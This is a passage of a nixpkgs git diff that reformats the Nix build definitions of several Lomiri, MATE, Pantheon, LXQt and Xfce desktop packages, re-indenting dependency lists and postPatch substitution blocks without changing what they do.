   patches = [
     # Remove when version > 0.2.1
@@ -65,18 +66,17 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      validatePkgConfig
-      wrapQtAppsHook
-    ]
-    ++ lib.optionals withDocumentation [
-      doxygen
-      graphviz
-      qttools # qdoc
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    validatePkgConfig
+    wrapQtAppsHook
+  ]
+  ++ lib.optionals withDocumentation [
+    doxygen
+    graphviz
+    qttools # qdoc
+  ];
 
   buildInputs = [
     boost
diff --git a/pkgs/desktops/lomiri/services/lomiri-history-service/default.nix b/pkgs/desktops/lomiri/services/lomiri-history-service/default.nix
index 14ee2c3e63a0..7ae4e5037d4d 100644
--- a/pkgs/desktops/lomiri/services/lomiri-history-service/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-history-service/default.nix
@@ -45,48 +45,47 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  postPatch =
-    ''
-      # Upstream's way of generating their schema doesn't work for us, don't quite understand why.
-      # (gdb) bt
-      # #0  QSQLiteResult::prepare (this=0x4a4650, query=...) at qsql_sqlite.cpp:406
-      # #1  0x00007ffff344bcf4 in QSQLiteResult::reset (this=0x4a4650, query=...) at qsql_sqlite.cpp:378
-      # #2  0x00007ffff7f95f39 in QSqlQuery::exec (this=this@entry=0x7fffffffaad8, query=...) at kernel/qsqlquery.cpp:406
-      # #3  0x00000000004084cb in SQLiteDatabase::dumpSchema (this=<optimized out>) at /build/source/plugins/sqlite/sqlitedatabase.cpp:148
-      # #4  0x0000000000406d70 in main (argc=<optimized out>, argv=<optimized out>)
-      #     at /build/source/plugins/sqlite/schema/generate_schema.cpp:56
-      # (gdb) p lastError().driverText().toStdString()
-      # $17 = {_M_dataplus = {<std::allocator<char>> = {<std::__new_allocator<char>> = {<No data fields>}, <No data fields>},
-      #     _M_p = 0x4880d0 "Unable to execute statement"}, _M_string_length = 27, {
-      #     _M_local_buf = "\033\000\000\000\000\000\000\000+\344\371\367\377\177\000", _M_allocated_capacity = 27}}
-      # (gdb) p lastError().databaseText().toStdString()
-      # $18 = {_M_dataplus = {<std::allocator<char>> = {<std::__new_allocator<char>> = {<No data fields>}, <No data fields>},
-      #     _M_p = 0x48c480 "no such column: rowid"}, _M_string_length = 21, {
-      #     _M_local_buf = "\025\000\000\000\000\000\000\000A\344\371\367\377\177\000", _M_allocated_capacity = 21}}
-      #
-      # This makes the tests stall indefinitely and breaks history-service usage.
-      # This replacement script should hopefully achieve the same / a similar-enough result with just sqlite
-      cp ${./update_schema.sh.in} plugins/sqlite/schema/update_schema.sh.in
+  postPatch = ''
+    # Upstream's way of generating their schema doesn't work for us, don't quite understand why.
+    # (gdb) bt
+    # #0  QSQLiteResult::prepare (this=0x4a4650, query=...) at qsql_sqlite.cpp:406
+    # #1  0x00007ffff344bcf4 in QSQLiteResult::reset (this=0x4a4650, query=...) at qsql_sqlite.cpp:378
+    # #2  0x00007ffff7f95f39 in QSqlQuery::exec (this=this@entry=0x7fffffffaad8, query=...) at kernel/qsqlquery.cpp:406
+    # #3  0x00000000004084cb in SQLiteDatabase::dumpSchema (this=<optimized out>) at /build/source/plugins/sqlite/sqlitedatabase.cpp:148
+    # #4  0x0000000000406d70 in main (argc=<optimized out>, argv=<optimized out>)
+    #     at /build/source/plugins/sqlite/schema/generate_schema.cpp:56
+    # (gdb) p lastError().driverText().toStdString()
+    # $17 = {_M_dataplus = {<std::allocator<char>> = {<std::__new_allocator<char>> = {<No data fields>}, <No data fields>},
+    #     _M_p = 0x4880d0 "Unable to execute statement"}, _M_string_length = 27, {
+    #     _M_local_buf = "\033\000\000\000\000\000\000\000+\344\371\367\377\177\000", _M_allocated_capacity = 27}}
+    # (gdb) p lastError().databaseText().toStdString()
+    # $18 = {_M_dataplus = {<std::allocator<char>> = {<std::__new_allocator<char>> = {<No data fields>}, <No data fields>},
+    #     _M_p = 0x48c480 "no such column: rowid"}, _M_string_length = 21, {
+    #     _M_local_buf = "\025\000\000\000\000\000\000\000A\344\371\367\377\177\000", _M_allocated_capacity = 21}}
+    #
+    # This makes the tests stall indefinitely and breaks history-service usage.
+    # This replacement script should hopefully achieve the same / a similar-enough result with just sqlite
+    cp ${./update_schema.sh.in} plugins/sqlite/schema/update_schema.sh.in
 
-      # Uses pkg_get_variable, cannot substitute prefix with that
-      substituteInPlace daemon/CMakeLists.txt \
-        --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir)' 'set(SYSTEMD_USER_UNIT_DIR "''${CMAKE_INSTALL_PREFIX}/lib/systemd/user")'
+    # Uses pkg_get_variable, cannot substitute prefix with that
+    substituteInPlace daemon/CMakeLists.txt \
+      --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir)' 'set(SYSTEMD_USER_UNIT_DIR "''${CMAKE_INSTALL_PREFIX}/lib/systemd/user")'
 
-      # Queries qmake for the QML installation path, which returns a reference to Qt5's build directory
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "\''${QMAKE_EXECUTABLE} -query QT_INSTALL_QML" "echo $out/${qtbase.qtQmlPrefix}"
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      # Tests launch these DBus services, fix paths related to them
-      substituteInPlace tests/common/dbus-services/CMakeLists.txt \
-        ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.MissionControl5.service"} \
-        ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.AccountManager.service"} \
-        ${replaceDbusService dconf "ca.desrt.dconf.service"}
+    # Queries qmake for the QML installation path, which returns a reference to Qt5's build directory
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "\''${QMAKE_EXECUTABLE} -query QT_INSTALL_QML" "echo $out/${qtbase.qtQmlPrefix}"
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    # Tests launch these DBus services, fix paths related to them
+    substituteInPlace tests/common/dbus-services/CMakeLists.txt \
+      ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.MissionControl5.service"} \
+      ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.AccountManager.service"} \
+      ${replaceDbusService dconf "ca.desrt.dconf.service"}
 
-      substituteInPlace cmake/modules/GenerateTest.cmake \
-        --replace-fail '/usr/lib/dconf' '${lib.getLib dconf}/libexec' \
-        --replace-fail '/usr/lib/telepathy' '${lib.getLib telepathy-mission-control}/libexec'
-    '';
+    substituteInPlace cmake/modules/GenerateTest.cmake \
+      --replace-fail '/usr/lib/dconf' '${lib.getLib dconf}/libexec' \
+      --replace-fail '/usr/lib/telepathy' '${lib.getLib telepathy-mission-control}/libexec'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/services/lomiri-telephony-service/default.nix b/pkgs/desktops/lomiri/services/lomiri-telephony-service/default.nix
index 464833d7dfda..1bd4834fccd8 100644
--- a/pkgs/desktops/lomiri/services/lomiri-telephony-service/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-telephony-service/default.nix
@@ -52,25 +52,24 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-7WKKRUEEF3NL8S1xg8E1WcD3dGasrw49pydeC4CyL+c=";
   };
 
-  postPatch =
-    ''
-      # Queries qmake for the QML installation path, which returns a reference to Qt5's build directory
-      # Patch out failure if QMake is not found, since we don't use it
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "\''${QMAKE_EXECUTABLE} -query QT_INSTALL_QML" "echo $out/${qtbase.qtQmlPrefix}" \
-        --replace-fail 'QMAKE_EXECUTABLE STREQUAL "QMAKE_EXECUTABLE-NOTFOUND"' 'FALSE'
+  postPatch = ''
+    # Queries qmake for the QML installation path, which returns a reference to Qt5's build directory
+    # Patch out failure if QMake is not found, since we don't use it
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "\''${QMAKE_EXECUTABLE} -query QT_INSTALL_QML" "echo $out/${qtbase.qtQmlPrefix}" \
+      --replace-fail 'QMAKE_EXECUTABLE STREQUAL "QMAKE_EXECUTABLE-NOTFOUND"' 'FALSE'
 
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      substituteInPlace tests/common/dbus-services/CMakeLists.txt \
-        ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.MissionControl5.service"} \
-        ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.AccountManager.service"} \
-        ${replaceDbusService dconf "ca.desrt.dconf.service"}
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    substituteInPlace tests/common/dbus-services/CMakeLists.txt \
+      ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.MissionControl5.service"} \
+      ${replaceDbusService telepathy-mission-control "org.freedesktop.Telepathy.AccountManager.service"} \
+      ${replaceDbusService dconf "ca.desrt.dconf.service"}
 
-      substituteInPlace cmake/modules/GenerateTest.cmake \
-        --replace-fail '/usr/lib/dconf' '${lib.getLib dconf}/libexec' \
-        --replace-fail '/usr/lib/telepathy' '${lib.getLib telepathy-mission-control}/libexec'
-    '';
+    substituteInPlace cmake/modules/GenerateTest.cmake \
+      --replace-fail '/usr/lib/dconf' '${lib.getLib dconf}/libexec' \
+      --replace-fail '/usr/lib/telepathy' '${lib.getLib telepathy-mission-control}/libexec'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
index 0ccb26ab7bad..51e08f5d25cf 100644
--- a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
@@ -111,31 +111,30 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      boost
-      cmake-extras
-      gdk-pixbuf
-      libapparmor
-      libexif
-      librsvg
-      lomiri-api
-      persistent-cache-cpp
-      qtbase
-      qtdeclarative
-      shared-mime-info
-      taglib
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      # Something seems borked with bad's h264 decoder, add libav as a workaround
-      # https://github.com/NixOS/nixpkgs/issues/399599#issuecomment-2816268226
-      gst-libav
-      # maybe add ugly to cover all kinds of formats?
-    ]);
+  buildInputs = [
+    boost
+    cmake-extras
+    gdk-pixbuf
+    libapparmor
+    libexif
+    librsvg
+    lomiri-api
+    persistent-cache-cpp
+    qtbase
+    qtdeclarative
+    shared-mime-info
+    taglib
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    # Something seems borked with bad's h264 decoder, add libav as a workaround
+    # https://github.com/NixOS/nixpkgs/issues/399599#issuecomment-2816268226
+    gst-libav
+    # maybe add ugly to cover all kinds of formats?
+  ]);
 
   nativeCheckInputs = [
     shared-mime-info
diff --git a/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix b/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
index c46beb634630..d7a1e7003c98 100644
--- a/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-url-dispatcher/default.nix
@@ -45,24 +45,23 @@ stdenv.mkDerivation (finalAttrs: {
     "lib"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})' \
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})' \
 
-      substituteInPlace gui/lomiri-url-dispatcher-gui.desktop.in.in \
-        --replace-fail '@CMAKE_INSTALL_FULL_DATADIR@/lomiri-url-dispatcher/gui/lomiri-url-dispatcher-gui.svg' 'lomiri-url-dispatcher-gui'
+    substituteInPlace gui/lomiri-url-dispatcher-gui.desktop.in.in \
+      --replace-fail '@CMAKE_INSTALL_FULL_DATADIR@/lomiri-url-dispatcher/gui/lomiri-url-dispatcher-gui.svg' 'lomiri-url-dispatcher-gui'
 
-      substituteInPlace tests/url_dispatcher_testability/CMakeLists.txt \
-        --replace-fail "\''${PYTHON_PACKAGE_DIR}" "$out/${python3.sitePackages}"
+    substituteInPlace tests/url_dispatcher_testability/CMakeLists.txt \
+      --replace-fail "\''${PYTHON_PACKAGE_DIR}" "$out/${python3.sitePackages}"
 
-      # Update URI handler database whenever new url-handler is installed system-wide
-      substituteInPlace data/lomiri-url-dispatcher-update-system-dir.*.in \
-        --replace-fail '@CMAKE_INSTALL_FULL_DATAROOTDIR@' '/run/current-system/sw/share'
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      patchShebangs tests/test-sql.sh
-    '';
+    # Update URI handler database whenever new url-handler is installed system-wide
+    substituteInPlace data/lomiri-url-dispatcher-update-system-dir.*.in \
+      --replace-fail '@CMAKE_INSTALL_FULL_DATAROOTDIR@' '/run/current-system/sw/share'
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    patchShebangs tests/test-sql.sh
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/services/mediascanner2/default.nix b/pkgs/desktops/lomiri/services/mediascanner2/default.nix
index 511cf9b42094..b8391e001a17 100644
--- a/pkgs/desktops/lomiri/services/mediascanner2/default.nix
+++ b/pkgs/desktops/lomiri/services/mediascanner2/default.nix
@@ -59,29 +59,28 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      boost186
-      cmake-extras
-      dbus
-      dbus-cpp
-      gdk-pixbuf
-      glib
-      libapparmor
-      libexif
-      properties-cpp
-      qtbase
-      qtdeclarative
-      shared-mime-info
-      sqlite
-      taglib
-      udisks
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    boost186
+    cmake-extras
+    dbus
+    dbus-cpp
+    gdk-pixbuf
+    glib
+    libapparmor
+    libexif
+    properties-cpp
+    qtbase
+    qtdeclarative
+    shared-mime-info
+    sqlite
+    taglib
+    udisks
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+  ]);
 
   checkInputs = [ gtest ];
 
diff --git a/pkgs/desktops/lxde/core/lxpanel/default.nix b/pkgs/desktops/lxde/core/lxpanel/default.nix
index 3c68690302e9..fa3f77840c45 100644
--- a/pkgs/desktops/lxde/core/lxpanel/default.nix
+++ b/pkgs/desktops/lxde/core/lxpanel/default.nix
@@ -71,7 +71,8 @@ stdenv.mkDerivation (finalAttrs: {
     m4
     wirelesstools
     curl
-  ] ++ lib.optional supportAlsa alsa-lib;
+  ]
+  ++ lib.optional supportAlsa alsa-lib;
 
   postPatch = ''
     substituteInPlace src/Makefile.in \
diff --git a/pkgs/desktops/lxqt/libfm-qt/default.nix b/pkgs/desktops/lxqt/libfm-qt/default.nix
index f6b5f4feb83f..c81933b00131 100644
--- a/pkgs/desktops/lxqt/libfm-qt/default.nix
+++ b/pkgs/desktops/lxqt/libfm-qt/default.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation rec {
     lxqt-menu-data
     menu-cache
     pcre
-  ] ++ (lib.optionals (lib.versionAtLeast "2.0.0" version) [ qtx11extras ]);
+  ]
+  ++ (lib.optionals (lib.versionAtLeast "2.0.0" version) [ qtx11extras ]);
 
   passthru.updateScript = gitUpdater { };
 
diff --git a/pkgs/desktops/lxqt/xdg-desktop-portal-lxqt/default.nix b/pkgs/desktops/lxqt/xdg-desktop-portal-lxqt/default.nix
index a09180cd17c5..5ae0131022af 100644
--- a/pkgs/desktops/lxqt/xdg-desktop-portal-lxqt/default.nix
+++ b/pkgs/desktops/lxqt/xdg-desktop-portal-lxqt/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     lxqt-qtplugin
     menu-cache
     qtbase
-  ] ++ extraQtStyles;
+  ]
+  ++ extraQtStyles;
 
   passthru.updateScript = gitUpdater { };
 
diff --git a/pkgs/desktops/mate/atril/default.nix b/pkgs/desktops/mate/atril/default.nix
index b868ab49865f..bf72606031ed 100644
--- a/pkgs/desktops/mate/atril/default.nix
+++ b/pkgs/desktops/mate/atril/default.nix
@@ -53,23 +53,22 @@ stdenv.mkDerivation rec {
     yelp-tools
   ];
 
-  buildInputs =
-    [
-      caja
-      gtk3
-      glib
-      libarchive
-      libsecret
-      libxml2
-      poppler
-      mate-desktop
-      hicolor-icon-theme
-      texlive.bin.core # for synctex, used by the pdf back-end
-    ]
-    ++ lib.optionals enableDjvu [ djvulibre ]
-    ++ lib.optionals enableEpub [ webkitgtk_4_1 ]
-    ++ lib.optionals enablePostScript [ libspectre ]
-    ++ lib.optionals enableXps [ libgxps ];
+  buildInputs = [
+    caja
+    gtk3
+    glib
+    libarchive
+    libsecret
+    libxml2
+    poppler
+    mate-desktop
+    hicolor-icon-theme
+    texlive.bin.core # for synctex, used by the pdf back-end
+  ]
+  ++ lib.optionals enableDjvu [ djvulibre ]
+  ++ lib.optionals enableEpub [ webkitgtk_4_1 ]
+  ++ lib.optionals enablePostScript [ libspectre ]
+  ++ lib.optionals enableXps [ libgxps ];
 
   configureFlags =
     [ ]
diff --git a/pkgs/desktops/mate/engrampa/default.nix b/pkgs/desktops/mate/engrampa/default.nix
index 9a27f29bb551..443bcd3a237a 100644
--- a/pkgs/desktops/mate/engrampa/default.nix
+++ b/pkgs/desktops/mate/engrampa/default.nix
@@ -35,25 +35,23 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      caja
-      gtk3
-      hicolor-icon-theme
-      json-glib
-      mate-desktop
-    ]
-    ++ lib.optionals withMagic [
-      file
-    ];
+  buildInputs = [
+    caja
+    gtk3
+    hicolor-icon-theme
+    json-glib
+    mate-desktop
+  ]
+  ++ lib.optionals withMagic [
+    file
+  ];
 
-  configureFlags =
-    [
-      "--with-cajadir=$$out/lib/caja/extensions-2.0"
-    ]
-    ++ lib.optionals withMagic [
-      "--enable-magic"
-    ];
+  configureFlags = [
+    "--with-cajadir=$$out/lib/caja/extensions-2.0"
+  ]
+  ++ lib.optionals withMagic [
+    "--enable-magic"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/desktops/mate/libmatemixer/default.nix b/pkgs/desktops/mate/libmatemixer/default.nix
index 22d8d32d0031..27dafe0d630c 100644
--- a/pkgs/desktops/mate/libmatemixer/default.nix
+++ b/pkgs/desktops/mate/libmatemixer/default.nix
@@ -29,17 +29,16 @@ stdenv.mkDerivation rec {
     gettext
   ];
 
-  buildInputs =
-    [
-      glib
-    ]
-    ++ lib.optionals alsaSupport [
-      alsa-lib
-      udev
-    ]
-    ++ lib.optionals pulseaudioSupport [
-      libpulseaudio
-    ];
+  buildInputs = [
+    glib
+  ]
+  ++ lib.optionals alsaSupport [
+    alsa-lib
+    udev
+  ]
+  ++ lib.optionals pulseaudioSupport [
+    libpulseaudio
+  ];
 
   configureFlags = lib.optional ossSupport "--enable-oss";
 
diff --git a/pkgs/desktops/mate/mate-settings-daemon/default.nix b/pkgs/desktops/mate/mate-settings-daemon/default.nix
index 159822e99a28..2860fb979ddc 100644
--- a/pkgs/desktops/mate/mate-settings-daemon/default.nix
+++ b/pkgs/desktops/mate/mate-settings-daemon/default.nix
@@ -47,7 +47,8 @@ stdenv.mkDerivation rec {
     gtk3
     dconf
     mate-desktop
-  ] ++ lib.optional pulseaudioSupport libpulseaudio;
+  ]
+  ++ lib.optional pulseaudioSupport libpulseaudio;
 
   configureFlags = lib.optional pulseaudioSupport "--enable-pulse";
 
diff --git a/pkgs/desktops/pantheon/apps/elementary-music/default.nix b/pkgs/desktops/pantheon/apps/elementary-music/default.nix
index 12ebf8b41f9c..071c2dd9737c 100644
--- a/pkgs/desktops/pantheon/apps/elementary-music/default.nix
+++ b/pkgs/desktops/pantheon/apps/elementary-music/default.nix
@@ -36,21 +36,20 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      elementary-icon-theme
-      glib
-      granite7
-      gtk4
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    elementary-icon-theme
+    glib
+    granite7
+    gtk4
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/desktops/pantheon/apps/elementary-photos/default.nix b/pkgs/desktops/pantheon/apps/elementary-photos/default.nix
index 479d6fb51baa..7d5ddce5b8c8 100644
--- a/pkgs/desktops/pantheon/apps/elementary-photos/default.nix
+++ b/pkgs/desktops/pantheon/apps/elementary-photos/default.nix
@@ -43,29 +43,28 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      geocode-glib_2
-      gexiv2
-      granite
-      gtk3
-      libexif
-      libgee
-      libgphoto2
-      libgudev
-      libhandy
-      libportal-gtk3
-      libraw
-      libwebp
-      sqlite
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    geocode-glib_2
+    gexiv2
+    granite
+    gtk3
+    libexif
+    libgee
+    libgphoto2
+    libgudev
+    libhandy
+    libportal-gtk3
+    libraw
+    libwebp
+    sqlite
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/desktops/pantheon/apps/switchboard/wrapper.nix b/pkgs/desktops/pantheon/apps/switchboard/wrapper.nix
index d4aa9fcb83e6..9befb909ebba 100644
--- a/pkgs/desktops/pantheon/apps/switchboard/wrapper.nix
+++ b/pkgs/desktops/pantheon/apps/switchboard/wrapper.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation {
 
   paths = [
     switchboard
-  ] ++ selectedPlugs;
+  ]
+  ++ selectedPlugs;
 
   passAsFile = [ "paths" ];
 
diff --git a/pkgs/desktops/pantheon/desktop/elementary-gsettings-schemas/default.nix b/pkgs/desktops/pantheon/desktop/elementary-gsettings-schemas/default.nix
index bef2025b19be..345ebfa20fb3 100644
--- a/pkgs/desktops/pantheon/desktop/elementary-gsettings-schemas/default.nix
+++ b/pkgs/desktops/pantheon/desktop/elementary-gsettings-schemas/default.nix
@@ -24,7 +24,8 @@ let
     gsettings-desktop-schemas
     gtk3
     mutter
-  ] ++ extraGSettingsOverridePackages;
+  ]
+  ++ extraGSettingsOverridePackages;
 
 in
 
diff --git a/pkgs/desktops/pantheon/desktop/wingpanel-indicators/applications-menu/default.nix b/pkgs/desktops/pantheon/desktop/wingpanel-indicators/applications-menu/default.nix
index 8c04ca7a6205..3820708ad4b5 100644
--- a/pkgs/desktops/pantheon/desktop/wingpanel-indicators/applications-menu/default.nix
+++ b/pkgs/desktops/pantheon/desktop/wingpanel-indicators/applications-menu/default.nix
@@ -45,18 +45,17 @@ stdenv.mkDerivation rec {
     vala
   ];
 
-  buildInputs =
-    [
-      granite
-      gtk3
-      json-glib
-      libgee
-      libhandy
-      switchboard-with-plugs
-      wingpanel
-      zeitgeist
-    ]
-    ++
+  buildInputs = [
+    granite
+    gtk3
+    json-glib
+    libgee
+    libhandy
+    switchboard-with-plugs
+    wingpanel
+    zeitgeist
+  ]
+  ++
     # applications-menu has a plugin to search switchboard plugins
     # see https://github.com/NixOS/nixpkgs/issues/100209
     # wingpanel's wrapper will need to pick up the fact that
diff --git a/pkgs/desktops/pantheon/desktop/wingpanel/wrapper.nix b/pkgs/desktops/pantheon/desktop/wingpanel/wrapper.nix
index c94b42894dc1..73f21f000920 100644
--- a/pkgs/desktops/pantheon/desktop/wingpanel/wrapper.nix
+++ b/pkgs/desktops/pantheon/desktop/wingpanel/wrapper.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation {
 
   paths = [
     wingpanel
-  ] ++ selectedIndicators;
+  ]
+  ++ selectedIndicators;
 
   passAsFile = [ "paths" ];
 
diff --git a/pkgs/desktops/plasma-5/breeze-plymouth/default.nix b/pkgs/desktops/plasma-5/breeze-plymouth/default.nix
index a4b3b8b42991..164394cfa3a4 100644
--- a/pkgs/desktops/plasma-5/breeze-plymouth/default.nix
+++ b/pkgs/desktops/plasma-5/breeze-plymouth/default.nix
@@ -36,13 +36,14 @@ assert lib.asserts.assertOneOf "bottomColor" bottomColor validColors;
 
 mkDerivation {
   pname = "breeze-plymouth";
-  nativeBuildInputs =
-    [ extra-cmake-modules ]
-    ++ lib.optionals (logoFile != null) [
-      imagemagick
-      netpbm
-      perl
-    ];
+  nativeBuildInputs = [
+    extra-cmake-modules
+  ]
+  ++ lib.optionals (logoFile != null) [
+    imagemagick
+    netpbm
+    perl
+  ];
   buildInputs = [ plymouth ];
   patches = [
     ./install-paths.patch
@@ -55,15 +56,14 @@ mkDerivation {
     ++ lib.optional (topColor != null) "-DBACKGROUND_TOP_COLOR=${topColor}"
     ++ lib.optional (bottomColor != null) "-DBACKGROUND_BOTTOM_COLOR=${bottomColor}";
 
-  postPatch =
-    ''
-      substituteInPlace cmake/FindPlymouth.cmake --subst-var out
-    ''
-    + lib.optionalString (logoFile != null) ''
-      cp ${logoFile} breeze/images/${resolvedLogoName}.logo.png
+  postPatch = ''
+    substituteInPlace cmake/FindPlymouth.cmake --subst-var out
+  ''
+  + lib.optionalString (logoFile != null) ''
+    cp ${logoFile} breeze/images/${resolvedLogoName}.logo.png
 
-      # conversion for 16bit taken from the breeze-plymouth readme
-      convert ${logoFile} -alpha Background -background "#000000" -fill "#000000" -flatten tmp.png
-      pngtopnm tmp.png | pnmquant 16 | pnmtopng > breeze/images/16bit/${resolvedLogoName}.logo.png
-    '';
+    # conversion for 16bit taken from the breeze-plymouth readme
+    convert ${logoFile} -alpha Background -background "#000000" -fill "#000000" -flatten tmp.png
+    pngtopnm tmp.png | pnmquant 16 | pnmtopng > breeze/images/16bit/${resolvedLogoName}.logo.png
+  '';
 }
diff --git a/pkgs/desktops/xfce/applications/mousepad/default.nix b/pkgs/desktops/xfce/applications/mousepad/default.nix
index bbd9e2089b14..f9e7c5f6edb9 100644
--- a/pkgs/desktops/xfce/applications/mousepad/default.nix
+++ b/pkgs/desktops/xfce/applications/mousepad/default.nix
@@ -39,18 +39,17 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      glib
-      gspell
-      gtk3
-      gtksourceview4
-      libxfce4ui # for shortcut plugin
-      xfconf # required by libxfce4kbd-private-3
-    ]
-    ++ lib.optionals enablePolkit [
-      polkit
-    ];
+  buildInputs = [
+    glib
+    gspell
+    gtk3
+    gtksourceview4
+    libxfce4ui # for shortcut plugin
+    xfconf # required by libxfce4kbd-private-3
+  ]
+  ++ lib.optionals enablePolkit [
+    polkit
+  ];
 
   # Use the GSettings keyfile backend rather than the default
   mesonFlags = [ "-Dkeyfile-settings=true" ];
diff --git a/pkgs/desktops/xfce/core/libxfce4ui/default.nix b/pkgs/desktops/xfce/core/libxfce4ui/default.nix
index 3b4f1a2458b7..66ce6baf9687 100644
--- a/pkgs/desktops/xfce/core/libxfce4ui/default.nix
+++ b/pkgs/desktops/xfce/core/libxfce4ui/default.nix
@@ -27,14 +27,13 @@ mkXfceDerivation {
 
   sha256 = "sha256-CY9KCCbKBAuoYAJtPHlQj04dUuCZAovnyJsBgjzzQkI=";
 
-  nativeBuildInputs =
-    [
-      perl
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala # vala bindings require GObject introspection
-    ];
+  nativeBuildInputs = [
+    perl
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala # vala bindings require GObject introspection
+  ];
 
   buildInputs = [
     libICE
diff --git a/pkgs/desktops/xfce/core/libxfce4util/default.nix b/pkgs/desktops/xfce/core/libxfce4util/default.nix
index 4b464eae17a9..2a18289706b9 100644
--- a/pkgs/desktops/xfce/core/libxfce4util/default.nix
+++ b/pkgs/desktops/xfce/core/libxfce4util/default.nix
@@ -19,14 +19,13 @@ mkXfceDerivation {
 
   sha256 = "sha256-QlT5ev4NhjR/apbgYQsjrweJ2IqLySozLYLzCAnmkfM=";
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala # vala bindings require GObject introspection
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala # vala bindings require GObject introspection
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/desktops/xfce/core/libxfce4windowing/default.nix b/pkgs/desktops/xfce/core/libxfce4windowing/default.nix
index a79d48d52927..17fe424d79a9 100644
--- a/pkgs/desktops/xfce/core/libxfce4windowing/default.nix
